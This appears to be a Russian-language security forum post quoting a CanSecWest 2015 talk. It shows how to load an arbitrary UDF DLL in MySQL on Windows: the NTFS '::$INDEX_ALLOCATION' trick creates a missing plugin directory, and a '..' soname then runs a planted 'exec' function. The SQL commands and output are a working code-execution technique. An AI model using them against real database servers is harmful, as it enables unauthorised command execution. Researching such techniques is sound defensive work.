Показать сообщение отдельно
Старый 29.03.2015, 13:38   #13
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Из презентации Yang Yu @tombkeeper:
CanSecWest 2015 - Sexrets of LoadLibrary

Как добавить свой плагин, если путь до plugin_dir не существует.
Цитата:
For NTFS, when you create a file if “$INDEX_ALLOCATION” is appended to the filename, a directory will be created instead.

C:\>dir /w "C:\MySQL\lib\plugin"
The system cannot find the file specified.

mysql> select 'x' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION'
(Errcode: 22)

mysql> select 'x' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION'
(Errcode: 22)

C:\>dir /w C:\MySQL\lib\plugin
Volume in drive C is Windows
Volume Serial Number is 4CFA-24AB

Directory of C:\MySQL\lib\plugin
...
Цитата:
Suppose the installation directory is “C:\MySQL”, and %plugin_dir% point to a non-existent directory at:
C:\MySQL\lib\plugin
We could create a UDF DLL called “lib”, which is:
C:\MySQL\lib

Then we use “..” as file name to create a UDF:
mysql> create function exec returns string soname '..';

“..” will be appended to the end of the %plugin_dir%: C:\MySQL\lib\plugin\..

After going through the preprocessing function in the MySQL, the final path passed into the LoadLibraryEx() API points to the file we have just created:
C:\MySQL\lib
SynQ вне форума   Ответить с цитированием